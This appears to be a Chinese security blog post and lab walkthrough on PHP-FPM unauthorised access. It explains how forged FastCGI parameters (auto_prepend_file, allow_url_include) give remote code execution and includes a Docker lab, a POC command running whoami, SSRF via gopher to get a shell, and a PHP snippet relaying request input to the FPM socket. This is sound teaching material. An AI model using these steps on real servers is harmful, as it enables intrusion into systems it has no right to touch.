PHP-FPM未授权访问

PHP-FPM未授权访问

Posted by SEVENTEEN on July 14, 2021

前言

   在看laravel8反序列化漏洞文章的时候,看到作者在下文中提到可以在9000端口利用ftp跟php-fpm达到rce, 对此很感兴趣,借此机会分析一下。这部分内容建议看一下FASTJSON协议与PHP-FPM,PHP-CGI之间的关系,以及在vps上手动配置一下加深理解。 这里有一篇很好的文章推荐一下。

https://www.xiebruce.top/606.html

浅谈攻击原理

   在TCP模式下,PHP-FPM默认监听9000端口,所以可以通过构造fastcgi协议和fpm进行通信, SCRIPT_FILENAME的值指定为任意后缀文件,但在PHP 5.3.9之后加入了fpm增加了security.limit_extensions选项, 所以需要去找个PHP文件。

{
    'GATEWAY_INTERFACE': 'FastCGI/1.0',
    'REQUEST_METHOD': 'GET',
    'SCRIPT_FILENAME': '/var/www/html/index.php',
    'SCRIPT_NAME': '/index.php',
    'QUERY_STRING': '?a=1&b=2',
    'REQUEST_URI': '/index.php?a=1&b=2',
    'DOCUMENT_ROOT': '/var/www/html',
    'SERVER_SOFTWARE': 'php/fcgiclient',
    'REMOTE_ADDR': '127.0.0.1',
    'REMOTE_PORT': '17',
    'SERVER_ADDR': '127.0.0.1',
    'SERVER_PORT': '80',
    'SERVER_NAME': "localhost",
    'SERVER_PROTOCOL': 'HTTP/1.1'
}

   那么,有了PHP文件名去执行目标机器上的PHP文件与RCE有什么关系呢? 看到数据包内的auto_prepend_file跟allow_url_include两个字段,是不是感觉很熟悉。 没错,这个就是PHP.ini里面的配置项。修改数据包里的这两个环境变量可以临时改变PHP.ini的配置, 假若设置为auto_prepend_file = php://input且allow_url_include = On的话, 就可以将要执行的PHP指令放在BODY中去远程包含,从而达到RCE的目的。

   这里从p神的EXP中也可以看出怎么构造出的数据包。

   除了TCP模式,还有一个unix套接字是通过读写sock文件来进行通信, 具体读写的sock文件得看php-fpm或者nginx这些中间件的配置文件。 而且这种情况需要有特殊的代码段建立sock连接来写入tcp流通信,不能直接通过9000端口来打, 相对来说利用条件比较苛刻。

配置环境

   保存以下内容到docker-compose.yml。

version: '2'
services:
 php:
   image: php:fpm
   ports:
    - "9000:9000"

   使用以下指令搭建及运行漏洞环境。

docker-compose build && docker-compose up -d

TCP模式外网9000端口

   查看一下php文件,利用条件需要有一个PHP文件,实战中可以使用默认安装环境下的PHP文件。

   用p神的POC打一下,成功回显执行的代码。

python poc.py 127.0.0.1 /usr/local/lib/php/XML/Util.php -c "<?php echo \`whoami\`;?>"

TCP模式内网9000端口

   如果PHP-FPM监听的是内网的9000端口,那就需要搭配一个ssrf的点来打gopher。 这里用Gopherus-master生成payload。

   这里演示一段curl造成的ssrf漏洞。如果在代码审计中, 遇到像前面文章审出的ssrf无回显的话,就可以直接用来弹个shell。

UNIX套接字SOCK通信

   UNIX套接字这种的话,得能与sock建立通信。 配置nginx中的php-fpm模式为UNIX套接字后,在vps上写下代码测试。

<?php
$sock=stream_socket_client('unix:///run/php/php7.3-fpm.sock');
fputs($sock, urldecode(base64_decode($_GET['pwn'])));
var_dump(fread($sock, 4096));
?>

   首先用Gopherus-master生成payload,取_后面的内容进行base64编码。

   再将payload打过去即可回显执行的内容。

There Is Nothing Below

   

Turn at the next intersection.